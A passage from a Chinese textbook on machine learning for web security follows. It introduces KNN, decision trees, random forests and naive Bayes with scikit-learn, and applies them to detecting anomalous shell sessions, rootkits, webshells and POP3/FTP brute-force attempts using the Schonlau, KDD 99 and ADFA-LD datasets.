    {"text": "参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://blog.csdn.net/lizhengnanhua/article/details/9061755 · http://netsecurity.51cto.com/art/201702/531237.htm · http://special.csdncms.csdn.net/security/ · https://www.lvtao.net · http://zt.360.cn · http://www.jsfuck.com/ · http://www.freebuf.com/vuls/108611.html · http://www.freebuf.com/vuls/124864.html · http://toutiao.secjia.com/three-new-iot-botnet-after-mirai · https://github.com/wtsxDev/Machine-Learning-for-Cyber-Security/blob · https://www.leiphone.com/news/201509/YfCBVNy7O1uc2axf.html · http://blog.csdn.net/zhenyu5211314/article/details/21941193 还可以参考吴翰清的著作《白帽子讲Web安全》。 第5章 K近邻算法 K近邻算法是我们介绍的第一个机器学习算法，同时它也是机器学习领域大名鼎鼎的分类算法之一，虽然它原理非常简单，但是在非常多的领域有着广泛的应用。本章将介绍K近邻算法的基本概念，并给出基本的使用方式，介绍如何使用K近邻基于不同的特征提取方式来检测异常操作，如何使用K近邻检测Rootkit，如何使用K近邻检测WebShell等。 5.1 K近邻算法概述 “橘生淮南则为橘，生于淮北则为枳”出自《晏子春秋·内篇杂下》。原文为“橘生淮南则为橘，生于淮北则为枳，叶徒相似，其实味不同。所以然者何？水土异也。”完整的典故是：齐国的晏子出使楚国，楚王想戏弄他，故意将一个犯人从堂下押过。楚王问：此人犯了什么罪？回答：一个齐国人犯了偷窃罪。楚王就对晏子说，你们齐国人是不是都很喜欢偷东西？晏子回答：淮南有橘又大又甜，一移栽到淮北，就变成了枳，又酸又小，为什么呢？因为土壤不同（见图5-1）。 图5-1 晏子使楚 同样的道理，我们可以理解距离接近的事物具有相同属性的可能性要大于距离相对较远的，这个也是K近邻算法的核心思想。 K近邻（K-Nearest Neighbor，KNN）算法是机器学习领域使用最广泛的算法之一，所谓KNN，就是K个最近的邻居的意思，说的是每个样本都可以用它最接近的K个邻居来代表。KNN算法的核心思想是：如果一个样本在特征空间中的K个最相邻的样本中的大多数属于某一个类别，则该样本也属于这个类别，并具有这个类别上样本的特性，KNN原理如图5-2所示。该方法在确定分类决策时，只依据最邻近的一个或者几个样本的类别来决定待分样本所属的类别。KNN方法在类别决策时，只与极少量的相邻样本有关。由于KNN方法主要靠周围有限的邻近的样本，而不是靠判别类域的方法来确定所属类别，因此对于类域交叉或重叠较多的待分样本集来说，KNN方法较其他方法更为适合。 图5-2 KNN原理图 KNN常用的算法为： ·Brute Force； ·K-D Tree； ·Ball Tree。 5.2 示例：hello world！K近邻 我们先演示一下K近邻的基础用法。完整演示代码请见本书GitHub上的5-1.py。 用Ball Tree算法举个简单的例子，其他算法类似，不再赘述。训练数据集合是二维平面上的若干个点： >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]]) 调用Scikit-Learn的KNN算法，邻居数设置为2，进行训练： >>> from sklearn.neighbors import NearestNeighbors >>> import numpy as np >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]]) >>> nbrs = NearestNeighbors(n_neighbors=2, algorithm='ball_tree').fit(X) 计算结果为： >>> distances, indices = nbrs.kneighbors(X) >>> indices array([[0, 1], [1, 0], [2, 1], [3, 4], [4, 3], [5, 4]]) >>> distances array([[ 0. , 1. ], [ 0. , 1. ], [ 0. , 1.41421356], [ 0. , 1. ], [ 0. , 1. ], [ 0. , 1.41421356]]) 可视化结果为： >>> nbrs.kneighbors_graph(X).toarray() array([[ 1., 1., 0., 0., 0., 0.], [ 1., 1., 0., 0., 0., 0.], [ 0., 1., 1., 0., 0., 0.], [ 0., 0., 0., 1., 1., 0.], [ 0., 0., 0., 1., 1., 0.], [ 0., 0., 0., 0., 1., 1.]]) KNN用于监督学习也非常简单，如下所示： >>> X = [[0], [1], [2], [3]] >>> y = [0, 0, 1, 1] >>> from sklearn.neighbors import KNeighborsClassifier >>> neigh = KNeighborsClassifier(n_neighbors=3) >>> neigh.fit(X, y) KNeighborsClassifier(...) >>> print(neigh.predict([[1.1]])) [0] >>> print(neigh.predict_proba([[0.9]])) [[ 0.66666667 0.33333333]]"},
    {"text": "5.3 示例：使用K近邻算法检测异常操作（一） 黑客入侵Web服务器以后，通常会通过系统漏洞进一步提权，获得root权限。我们试图通过搜集Linux服务器的bash操作日志，通过训练识别出特定用户的操作习惯，然后进一步识别出异常操作行为。完整演示代码请见本书GitHub上的5-2.py。 1.数据搜集和数据清洗 Schonlau在他的个人网站： http://www.schonlau.net/ 上发布了针对Linux操作的训练数据（见图5-3）。 图5-3 Schonlau个人网站 训练数据中包括50个用户的操作日志（见图5-4），每个日志包含15000条操作命令，其中前5000条都是正常操作，后面的10000条日志中随机包含有异常操作。为了便于分析，数据集每100条操作作为一个操作序列，同时进行了标注，每个操作序列只要有1条操作异常就认为这个操作序列异常（见图5-5）。 图5-4 操作日志的目录结构 其中以用户名作为文件名，每个用户的操作都记录在对应的文件里面。 每个文件中，按照操作顺序依次记录了操作命令。 图5-5 操作日志的内容 依次读取每行操作命令，每100个命令组成一个操作序列，保存在列表里面： with open(filename) as f: i=0 x=[] for line in f: line=line.strip('\\n') x.append(line) dist.append(line) i+=1 if i == 100: cmd_list.append(x) x=[] i=0 统计最频繁使用的前50个命令和最不频繁的前50个命令： fdist = FreqDist(dist).keys() dist_max=set(fdist[0:50]) dist_min = set(fdist[-50:]) 2.特征化 （1）去重操作命令的个数。 以100个命令为统计单元，作为一个操作序列，去重后的操作命令个数作为特征。 f1=len(set(cmd_block)) （2）最频繁使用的前10个命令。 最频繁使用的命令从某种程度上反映出当前用户的操作习惯。 fdist = FreqDist(cmd_block).keys() f2=fdist[0:10] （3）最不频繁使用的前10个命令。 最不频繁使用的命令也从某种程度上反映出当前用户的使用习惯。 f3=fdist[-10:] 以user3为例，在完整的数据集合上统计其操作命令，去重后获得一个操作命令的字典： ['more', 'emacs-20', 'netscape', 'netscape', 'netscape', 'netscape', 'netscape', 'netscape', 'netscape', 'netscape', 'netscape', 'netscape', 'aacdec', 'cat', 'aiffplay', 'sh', 'netscape', 'rm', 'sh', 'MediaMai', 'netscape', 'netscape', 'xcal', 'launchef', 'launchef', 'sh', 'gettxt', 'hostname', 'gettxt', 'gettxt', 'gettxt', 'xconfirm', 'endsessi', 'tellwm', 'tellwm', 'xprop', 'endsessi', 'xdm', '4Dwm', 'toolches', 'xwsh', 'csh', 'aiffplay', 'rlogin', 'xterm', 'aiffplay', 'rlogin', 'csh', 'sh', 'sh', 'netscape', 'xwsh', 'csh', 'netscape', 'cpp', 'sh', 'xrdb', 'cpp', 'sh', 'xrdb', 'mkpts', 'env', 'csh', 'csh', 'csh', 'userenv', 'sh', 'csh', 'kill', 'wait4wm', 'xhost', 'xsetroot', 'reaper', 'cat', 'mail', 'csh', 'launchef', 'launchef', 'sh', 'hostname', 'cat', 'mail', 'csh', 'launchef', 'launchef', 'sh', 'hostname', 'cat', 'mail', 'csh', 'launchef', 'launchef', 'sh', 'sh', 'launchef', 'launchef', 'sh', 'netstat', 'netscape', 'netscape'] 对应的特征为： [36, ['gettxt', 'xsetroot', 'xhost', 'kill', 'xrdb', 'wait4wm'], ['cat', 'sh', 'xprop', 'cpp', 'more', 'launchef']] KNN只能以标量作为输入参数，所以需要将f2和f3标量化，最简单的方式就是和统计的最频繁使用的前50个命令以及最不频繁使用的前50个命令计算重合程度： f2 = len(set(f2) & set(dist_max)) f3=len(set(f3)&set(dist_min)) 3.训练模型 标识文件的内容：每行50列，分别代表每个用户的当前操作序列，正常操作标识为0，异常操作标识为1。 从标识文件中加载针对操作序列正常和异常的标识： def get_label(filename,index=0): x=[] with open(filename) as f: for line in f: line=line.strip('\\n') x.append( int(line.split()[index])) return x 加载user3的操作数据，并将前120个操作序列作为训练序列，后30个操作序列作为测试序列。 user_cmd_list,user_cmd_dist_max,user_cmd_dist_min=load_user_cmd(\"../data/MasqueradeDat/User3\") user_cmd_feature=get_user_cmd_feature(user_cmd_list,user_cmd_dist_max,user_cmd_dist_min) labels=get_label(\"../data/MasqueradeDat/label.txt\",2) y=[0]*50+labels x_train=user_cmd_feature[0:N] y_train=y[0:N] x_test=user_cmd_feature[N:150] y_test=y[N:150] 调用KNN函数进行训练： neigh = KNeighborsClassifier(n_neighbors=3) neigh.fit(x_train, y_train) y_predict=neigh.predict(x_test) 4.效果验证 测试结果表明，准确率约80%，不是很理想。 score=np.mean(y_test==y_predict)*100"},
    {"text": "5.4 示例：使用K近邻算法检测异常操作（二） 5.3示例中只比较了最频繁和最不频繁的操作命令，我们这次尝试进行全量比较。完整演示代码请见本书GitHub上的5-3.py。 1.数据搜集和数据清洗 我们使用词集的模型，将全部命令去重后形成一个大型向量空间，每个命令代表一个特征，首先通过遍历全部命令，生成对应的词集。 with open(filename) as f: for line in f: line=line.strip('\\n') dist.append(line) fdist = FreqDist(dist).keys() 生成的词集为： Dist:(['gs', 'tset', 'basename', 'uname', 'touch', 'find', 'ln', 'unpack', 'jar', 'tail', 'ls', 'lp', 'ld_', 'ksh', 'get', 'xdm', 'xterm', 'cpio', 'getpgrp', 'grep', 'gethost', 'mimencod', 'dbx', 'logname', 'as1', 'readacct', 'cfe', 'FIFO', 'fvwm', 'sed', 'ex', 'download', 'dirname', 'seecalls', 'sendmail', 'rm', 'wc', 'bc', 'netstat', 'nawk', 'post', 'xargs', 'rlogin', 'admin', 'od', 'xmodmap', '.java_wr', 'tcppost', 'col', 'ptelnet', 'postprin', 'tcpostio', 'javac', 'xsetroot', 'ugen', 'chmod', 'sccs', 'xrdb', 'diff', 'pr', 'ps', 'pq', 'java', 'dbxpcs', 'ppost', 'mkdir', 'MediaMai', 'hpost', 'rmdir', 'man', 'matlab', 'more', 'xhost', 'sim301bK', 'LOCK', 'telnet', 'sim301bS', 'delta', 'GoodStuf', 'true', 'netscape', 'stty', 'expr', 'tracerou', 'FvwmPage', 'cat', 'runnit', 'launchef', 'mailx', 'file', 'id', 'bdiff', 'egrep', 'generic', 'make', 'hostname', 'a.out', 'getopt', 'Xsession', 'driver', 'cpp', 'UNLOCK', 'awk', 'date', 'nslookup', 'sh', 'gzip']) 2.特征化 使用词集将操作命令向量化。 def get_user_cmd_feature_new(user_cmd_list,dist): user_cmd_feature=[] for cmd_list in user_cmd_list: v=[0]*len(dist) for i in range(0,len(dist)): if dist[i] in cmd_list: v[i]+=1 user_cmd_feature.append(v) return user_cmd_feature 3.训练模型 user_cmd_list,dist=load_user_cmd_new(\"../data/MasqueradeDat/User3\") user_cmd_feature=get_user_cmd_feature_new(user_cmd_list,dist) #print user_cmd_feature labels=get_label(\"../data/MasqueradeDat/label.txt\",2) y=[0]*50+labels neigh = KNeighborsClassifier(n_neighbors=3) 4.效果验证 使用交叉验证，10次随机取样和验证，提高验证可信度。 cross_validation.cross_val_score(neigh, user_cmd_feature, y, n_jobs=-1,cv=10) 结果为： [ 1. 1. 0.93333333 1. 1. 1. 1. 1. 0.93333333 0.92857143] 准确率达到93%以上，非常不错了！"},
    {"text": "5.5 示例：使用K近邻算法检测Rootkit Rootkit是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息，比较常见的是Rootkit，一般都和木马、后门等其他恶意程序结合使用。这次我们基于KDD 99的样本数据，尝试使用KNN算法识别基于telnet连接的Rootkit行为，检测流程如图5-6所示。针对KDD 99数据的详细介绍请参考第3章的相关内容。完整演示代码请见本书GitHub上的5-4.py。 1.数据搜集和数据清洗 KDD 99数据已经完成了大部分的数据清洗工作，KDD 99数据集中每个连接用41个特征来描述： 35,tcp,ftp,SF,96,533,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,221,3,0.01,0.03,0.00,0.00,0.00,0.00,0.00,0.00,rootkit. 0,tcp,ftp_data,SF,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,52,0.20,0.03,0.20,0.00,0.20,0.00,0.02,0.00,rootkit. 15,tcp,ftp,SF,45,214,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,226,4,0.02,0.03,0.00,0.00,0.00,0.00,0.00,0.00,rootkit. 图5-6 基于telnet连接的Rootkit检测流程 其中和Rootkit相关的特征主要为TCP连接的内容特征，详见表5-1。 表5-1 KDD 99 TCP连接内容特征 加载KDD 99数据集中的数据： def load_kdd99(filename): x=[] with open(filename) as f: for line in f: line=line.strip('\\n') line=line.split(',') x.append(line) return x 筛选标记为Rootkit和normal且是telnet协议的数据： if ( x1[41] in ['rootkit.','normal.'] ) and ( x1[2] == 'telnet' ): if x1[41] == 'rootkit.': y.append(1) else: y.append(0) 2.特征化 挑选与Rootkit相关的特征作为样本特征： x1 = x1[9:21] v.append(x1) for x1 in v : v1=[] for x2 in x1: v1.append(float(x2)) w.append(v1) 3.训练样本 实例化KNN算法，邻居数设置为3： clf = KNeighborsClassifier(n_neighbors=3) 4.效果验证 我们使用十折交叉验证。 print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率约为90%。 [ 0.9 0.9 1. 1. 1. 0.77777778 1. 1. 1. 1. ] 5.6 示例：使用K近邻算法检测WebShell 完整演示代码请见本书GitHub上的5-5.py。 1.数据搜集和数据清洗 使用ADFA-LD数据集中WebShell相关数据，ADFA-LD数据集中记录下了系统调用序列，比如（系统调用A、系统调用B、系统调用C），然后使用数字标识每一个系统调用，这样就转换成了系统调用序列（1，2，3），这时（1，2，3）就转换成了一个序列向量，如图5-7所示。ADFA-LD数据集的详细介绍请阅读第3章相关内容。 图5-7 ADFA-LD数据集将系统调用的顺序抽象成序列向量 加载ADFA-LD中的正常样本数据： def load_adfa_training_files(rootdir): x=[] y=[] list = os.listdir(rootdir) for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): x.append(load_one_flle(path)) y.append(0) return x,y 定义遍历目录下文件的函数： def dirlist(path, allfile): filelist = os.listdir(path) for filename in filelist: filepath = os.path.join(path, filename) if os.path.isdir(filepath): dirlist(filepath, allfile) else: allfile.append(filepath) return allfile 从攻击数据集中筛选和WebShell相关的数据： def load_adfa_webshell_files(rootdir): x=[] y=[] allfile=dirlist(rootdir,[]) for file in allfile: if re.match( r\" ../data/ADFA-LD/Attack_Data_Master/Web_Shell_\\d+/UAD-W*\", file): x.append(load_one_flle(file)) y.append(1) return x,y 2.特征化 由于ADFA-LD数据集都记录了函数调用序列，每个文件包含的函数调用序列的个数都不一致，可以参考第3章中的词集模型进行特征化。 x1,y1=load_adfa_training_files(\"../data/ADFA-LD/Training_Data_Master/\") x2,y2= load_adfa_webshell_files(\"../data/ADFA-LD/Attack_Data_Master/\" x=x1+x2 y=y1+y2 vectorizer = CountVectorizer(min_df=1) x=vectorizer.fit_transform(x) x=x.toarray() 3.训练样本 实例化KNN算法，其中邻居个数设置为3： clf = KNeighborsClassifier(n_neighbors=3) 4.效果验证 我们使用十折交叉验证。 print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率约为95%。 [ 0.97916667 0.9375 0.97916667 0.93684211 0.95789474 0.84210526 0.96842105 0.97894737 0.9787234 0.9787234 ]"},
    {"text": "5.7 本章小结 本章重点介绍K近邻的基础知识以及Web安全领域的相关应用，包括检测Linux服务器异常系统操作、基于telnet协议的Rootkit检测等。后面章节我们将陆续介绍其他分类算法，不同的分类算法没有好坏之分，在不同的数据集和不同的应用场景下，性能表现可能差距很大。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://www.freebuf.com/articles/system/97703.html · http://www.fx361.com/page/2016/1018/284843.shtml · http://www.freebuf.com/articles/system/97703.html · https://www.unsw.adfa.edu.au · http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html 还有一些参考文献值得一读： [1] Schonlau M，Couper M.Semi-Automated Categorization of Open-Ended Questions.Survey Research Methods，August 2016. [2] 张有新，曾华燊，贾磊.入侵检测数据集KDD CUP99研究[J].计算机工程与设计，2010，22. 第6章 决策树与随机森林算法 决策树和随机森林是常见的分类算法，尤其是决策树，判断的逻辑很多时候和人的思维非常接近，人们在遇到多种条件组合作为判断依据时，可以画出一棵决策树作为判断逻辑。本章将介绍决策树和随机森林算法的基本概念，并给出基本的使用方式，然后介绍如何使用这两个算法检测FTP的暴力破解。 6.1 决策树算法概述 韩梅梅是某互联网公司的女码农，平时生活圈子很小，周围同事追求她的也不少，但是没有一个是她满意的，于是她开始在交友网站上发布个人信息。她把自己筛选约会对象的逻辑进行梳理，如图6-1所示。 决策树 表现了对象属性与对象值之间的一种映射关系。决策树中每个节点表示某个对象，而每个分叉路径则代表某个可能的属性值，而每个叶节点则对应从根节点到该叶节点所经历的路径所表示的对象值。数据挖掘中，决策树是一种经常要用到的技术，可以用于数据分类，同样也可以用于预测。 下面是个简单的例子： >>> from sklearn import tree >>> X = [[0, 0], [1, 1]] >>> Y = [0, 1] >>> clf = tree.DecisionTreeClassifier() >>> clf = clf.fit(X, Y) 结果预测为： >>> clf.predict([[2., 2.]]) array([1]) 图6-1 韩梅梅约会男网友的决策树 6.2 示例：hello world！决策树 Scikit-Learn自带了iris数据集合，iris集合具体介绍请参考第3章。完整演示代码请见本书GitHub上的6-1.py。 导入需要的函数库，加载iris数据集： from sklearn.datasets import load_iris from sklearn import tree import pydotplus iris = load_iris() 使用决策树算法进行训练，并将训练得到的决策树保存成pdf文件： clf = tree.DecisionTreeClassifier() clf = clf.fit(iris.data, iris.target) dot_data = tree.export_graphviz(clf, out_file=None) graph = pydotplus.graph_from_dot_data(dot_data) graph.write_pdf(\"../photo/6/iris.pdf\") 训练得到的可视化决策树如图6-2所示。 图6-2 iris数据集得到的可视化决策树"},
    {"text": "6.3 示例：使用决策树算法检测POP3暴力破解 完整演示代码请见本书GitHub上的6-2.py。 1.数据搜集和数据清洗 使用KDD 99数据集中POP3的相关数据，KDD 99数据集详细介绍请阅读第3章相关内容： 4,tcp,pop_3,SF,30,93,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,255,1.00,0.00,0.00,0.00,0.00,0.00,0.00,0.00,guess_passwd. 4,tcp,pop_3,SF,28,93,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,255,1.00,0.00,0.00,0.00,0.00,0.00,0.00,0.00,guess_passwd. 4,tcp,pop_3,SF,30,93,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,255,1.00,0.00,0.00,0.00,0.00,0.00,0.00,0.00,guess_passwd. 加载KDD 99数据集中的数据： def load_kdd99(filename): x=[] with open(filename) as f: for line in f: line=line.strip('\\n') line=line.split(',') x.append(line) return x 筛选标记为guess-passwd和normal且是POP3协议的数据： for x1 in x: if ( x1[41] in ['guess_passwd.','normal.'] ) and ( x1[2] == 'pop_3' ): if x1[41] == 'guess_passwd.': y.append(1) else: y.append(0) 2.特征化 挑选与POP3密码破解相关的网络特征以及TCP协议内容的特征作为样本特征： x1 = [x1[0]] + x1[4:8]+x1[22:30] v.append(x1) for x1 in v : v1=[] for x2 in x1: v1.append(float(x2)) w.append(v1) 3.训练样本 实例化决策树算法： clf = tree.DecisionTreeClassifier() 4.效果验证 我们使用十折交叉验证： print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率约为99%： [0.98637602 1. 1. 1. 1. 1. 1. 1. 1. 1. ] 可视化训练得到的决策树为： dot_data = tree.export_graphviz(clf, out_file=None) graph = pydotplus.graph_from_dot_data(dot_data) graph.write_pdf(\"../photo/6/iris-dt.pdf\") 可视化决策树如图6-3所示。 图6-3 使用决策树检测暴力破解训练得到的决策树 6.4 示例：使用决策树算法检测FTP暴力破解 完整演示代码请见本书GitHub上的6-3.py。 1.数据搜集和数据清洗 使用ADFA-LD数据集中FTP暴力破解的相关数据，ADFA-LD数据集详细介绍请阅读第3章相关内容。ADFA-LD系统调用可抽象成向量，如图6-4所示。 图6-4 ADFA-LD系统调用抽象成向量 加载ADFA-LD中的正常样本数据： def load_adfa_training_files(rootdir): x=[] y=[] list = os.listdir(rootdir) for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): x.append(load_one_flle(path)) y.append(0) return x,y 定义遍历目录下文件的函数： def dirlist(path, allfile): filelist = os.listdir(path) for filename in filelist: filepath = os.path.join(path, filename) if os.path.isdir(filepath): dirlist(filepath, allfile) else: allfile.append(filepath) return allfile 从攻击数据集中筛选和FTP暴力破解相关的数据： def load_adfa_hydra_ftp_files(rootdir): x=[] y=[] allfile=dirlist(rootdir,[]) for file in allfile: if re.match( r\"../data/ADFA-LD/Attack_Data_Master/Hydra_FTP_\\d+/UAD-Hydra-FTP*\", file): x.append(load_one_flle(file)) y.append(1) return x,y 2.特征化 由于ADFA-LD数据集都记录了函数调用序列，每个文件包含的函数调用序列的个数都不一致，可以参考第3章中的词集模型进行特征化： x1,y1=load_adfa_training_files(\"../data/ADFA-LD/Training_Data_Master/\") x2,y2=load_adfa_hydra_ftp_files(\"../data/ADFA-LD/Attack_Data_Master/\" x=x1+x2 y=y1+y2 vectorizer = CountVectorizer(min_df=1) x=vectorizer.fit_transform(x) x=x.toarray() 3.训练样本 实例化决策树算法： clf = tree.DecisionTreeClassifier() 4.效果验证 我们使用十折交叉验证： print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率约为95%： [ 1. 0.99009901 0.95 0.97979798 0.97979798 0.87878788 0.98989899 0.97979798 0.94949495 0.95959596] 可视化训练得到的决策树为： dot_data = tree.export_graphviz(clf, out_file=None) graph = pydotplus.graph_from_dot_data(dot_data) graph.write_pdf(\"../photo/6/ftp.pdf\") 可视化决策树如图6-5所示。 图6-5 FTP暴力破解决策树"},
    {"text": "6.5 随机森林算法概述 随机森林 指的是利用多棵树对样本进行训练并预测的一种分类器。该分类器最早由Leo Breiman和Adele Cutler提出，并被注册成了商标。随机森林是一个包含多个决策树的分类器，并且其输出的类别是由个别树输出的类别的众数而决定。顾名思义，随机森林是用随机的方式建立一个森林，森林由很多的决策树组成，随机森林的每一棵决策树之间是没有关联的。在得到森林之后，当有一个新的输入样本进入的时候，就让森林中的每一棵决策树分别进行判断，看看这个样本应该属于哪一类，然后看看哪一类被选择最多，则预测这个样本为那一类。不太严谨地讲，可以把随机森林当作加强版的决策树。 6.6 示例：hello world！随机森林 为了对比决策树与随机森林，我们使用同样的数据集合进行测试，导入需要的函数库： >>> from sklearn.model_selection import cross_val_score >>> from sklearn.datasets import make_blobs >>> from sklearn.ensemble import RandomForestClassifier >>> from sklearn.ensemble import ExtraTreesClassifier >>> from sklearn.tree import DecisionTreeClassifier 随机生成测试样本集合： >>> X, y = make_blobs(n_samples=10000, n_features=10, centers=100, ... random_state=0) 使用决策树训练，获取训练结果： >>> clf = DecisionTreeClassifier(max_depth=None, min_samples_split=2, ... random_state=0) >>> scores = cross_val_score(clf, X, y) >>> scores.mean() 0.97... 使用随机森林训练，获取训练结果： >>> clf = RandomForestClassifier(n_estimators=10, max_depth=None, ... min_samples_split=2, random_state=0) >>> scores = cross_val_score(clf, X, y) >>> scores.mean() 0.999... 这是一个不太严谨的对比，不过确实可以说明一些问题，在平时遇到的实际情况下，随机森林的判决性能优于决策树。 6.7 示例：使用随机森林算法检测FTP暴力破解 完整演示代码请见本书GitHub上的6-4.py。 1.数据搜集和数据清洗 继续使用ADFA-LD数据集中FTP暴力破解的相关数据，ADFA-LD数据集详细介绍请阅读第3章相关内容。 2.特征化 由于ADFA-LD数据集都记录了函数调用序列，每个文件包含的函数调用序列的个数都不一致，可以参考第3章中的词集模型进行特征化。具体思路请参考6.4节。 3.训练样本 实例化决策树和随机森林算法： clf1 = tree.DecisionTreeClassifier() clf2 = RandomForestClassifier(n_estimators=10, 4.效果验证 我们使用十折交叉验证。 score=cross_validation.cross_val_score(clf1, x, y, n_jobs=-1, cv=10) print np.mean(score) score=cross_validation.cross_val_score(clf2, x, y, n_jobs=-1, cv=10) print np.mean(score) 测试结果如下，决策树准确率约为96%，随机森林准确率约为98%。 0.963786878688 0.984888688869 6.8 本章小结 本章重点介绍决策树和随机森林的基础知识及其在Web安全领域的相关应用，包括检测POP3暴力破解、检测FTP暴力破解等。以检测FTP暴力破解这个例子来说，在同样训练数据和测试数据、同样特征提取方式的情况下，随机森林的性能确实优于决策树，结合我们的实践经验，也推荐在这样的情况下优先考虑使用随机森林算法试一下效果。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · https://www.ibm.com/developerworks/cn/analytics/library/ba-1507-decisiontree-algorithm/index.html · http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html · http://www.freebuf.com/articles/system/97703.html 还有一些参考文献值得一读： [1] G Creech，J Hu.A Semantic Approach to Host-Based Intrusion Detection Systems Using Contiguous and Discontiguous System Call Patterns.Computers，IEEE Transactions on，2013. [2] G Creech，J Hu.Generation of a New IDS Test Dataset：Time to Retire the KDD Collection.Wireless Communications&Networking Conference，2013：4487-4492. [3] M Xie，J Hu，J Slay，Evaluating Host-Based Anomaly Detection Systems：Application of the One-Class SVM Algorithm to ADFA-LD.International Conference on Fuzzy Systems&Knowledge Discovery，2014，2000：978-982. 第7章 朴素贝叶斯算法 朴素贝叶斯算法可能是机器学习里面名气最大的算法了，对IT技术有点了解的人基本上都知道早期垃圾邮件的算法就使用了朴素贝叶斯。其实早在200多年前科学家就提出了它，并给出了数学上的证明，而且朴素贝叶斯的英文简写非常抢眼：NB算法，是不是有种特别NB的感觉。本章将介绍朴素贝叶斯算法的基本概念，并给出基本的使用方式，包括如何使用朴素贝叶斯算法检测异常操作、检测DGA域名、检测针对Apache的DDoS攻击、检测基于MNIST数据集的验证码等。"},
    {"text": "7.1 朴素贝叶斯算法概述 垃圾邮件（见图7-1）可以说是因特网带给人类最具争议性的副产品，它的泛滥已经使整个因特网不堪重负，它严重地影响了人们的日常办公和生活。通常，企业和大型邮件服务提供商都会提供拦截垃圾邮件的功能，其中最常见的一种算法就是基于朴素贝叶斯的文本分类算法，大体思路是通过学习大量的垃圾邮件和正常邮件样本，让朴素贝叶斯训练出文本分类模型。 图7-1 垃圾邮件 贝叶斯分类是一系列分类算法的总称，这类算法均以贝叶斯定理为基础，故统称为贝叶斯分类。其中朴素贝叶斯（Naive Bayesian，NB）是其中应用最为广泛的分类算法之一。NB算法是基于贝叶斯定理与特征条件独立假设的分类方法。这个在250多年前由英国数字家贝叶斯（见图7-2）发明的算法，在信息领域内有着无与伦比的地位。NB基于一个简单的假定：给定目标值时属性之间相互条件独立。 图7-2 贝叶斯肖像 NB发源于古典数学理论，有着坚实的数学基础以及稳定的分类效率。同时，NB所需估计的参数很少，对缺失数据不太敏感，算法也比较简单。理论上，NB模型与其他分类方法相比具有最小的误差率。但是实际上并非总是如此，这是因为NB模型假设属性之间相互独立，这个假设在实际应用中往往是不成立的，这给NB模型的正确分类带来了一定影响。 NB包括以下算法： ·高斯朴素贝叶斯（Gaussian Naive Bayes）； ·多项式朴素贝叶斯（Multinomial Naive Bayes）； ·伯努利朴素贝叶斯（Bernoulli Naive Bayes）。 7.2 示例：hello world！朴素贝叶斯 导入库以及数据集合： >>> from sklearn import datasets >>> iris = datasets.load_iris() >>> from sklearn.naive_bayes import GaussianNB 训练数据集： >>> gnb = GaussianNB() 验证结果： >>> y_pred = gnb.fit(iris.data, iris.target).predict(iris.data) >>> print(\"Number of mislabeled points out of a total %d points : %d\" ... % (iris.data.shape[0],(iris.target != y_pred).sum())) Number of mislabeled points out of a total 150 points : 6 7.3 示例：检测异常操作 在第5章中，我们使用KNN检测异常操作，准确率约80%，不是很理想；本章基于同样的数据集合，使用NB看看效果如何。完整演示代码请见本书GitHub上的7-1.py。 1.数据搜集和数据清洗 与第5章一致，不再赘述。 2.特征化 本次我们使用词集模型，统计全部操作命令，去重后形成字典或者说词汇表： with open(filename) as f: for line in f: line=line.strip('\\n') dist.append(line) fdist = FreqDist(dist).keys() 通过处理user3用户的全部命令操作，去重后得到的结果为： Dist:(['gs', 'tset', 'basename', 'uname', 'touch', 'find', 'ln', 'unpack', 'jar', 'tail', 'ls', 'lp', 'ld_', 'ksh', 'get', 'xdm', 'xterm', 'cpio', 'getpgrp', 'grep', 'gethost', 'mimencod', 'dbx', 'logname', 'as1', 'readacct', 'cfe', 'FIFO', 'fvwm', 'sed', 'ex', 'download', 'dirname', 'seecalls', 'sendmail', 'rm', 'wc', 'bc', 'netstat', 'nawk', 'post', 'xargs', 'rlogin', 'admin', 'od', 'xmodmap', '.java_wr', 'tcppost', 'col', 'ptelnet', 'postprin', 'tcpostio', 'javac', 'xsetroot', 'ugen', 'chmod', 'sccs', 'xrdb', 'diff', 'pr', 'ps', 'pq', 'java', 'dbxpcs', 'ppost', 'mkdir', 'MediaMai', 'hpost', 'rmdir', 'man', 'matlab', 'more', 'xhost', 'sim301bK', 'LOCK', 'telnet', 'sim301bS', 'delta', 'GoodStuf', 'true', 'netscape', 'stty', 'expr', 'tracerou', 'FvwmPage', 'cat', 'runnit', 'launchef', 'mailx', 'file', 'id', 'bdiff', 'egrep', 'generic', 'make', 'hostname', 'a.out', 'getopt', 'Xsession', 'driver', 'cpp', 'UNLOCK', 'awk', 'date', 'nslookup', 'sh', 'gzip']) 以该词汇表作为向量空间，将每个命令序列转换成对应的向量： def get_user_cmd_feature_new(user_cmd_list,dist): user_cmd_feature=[] for 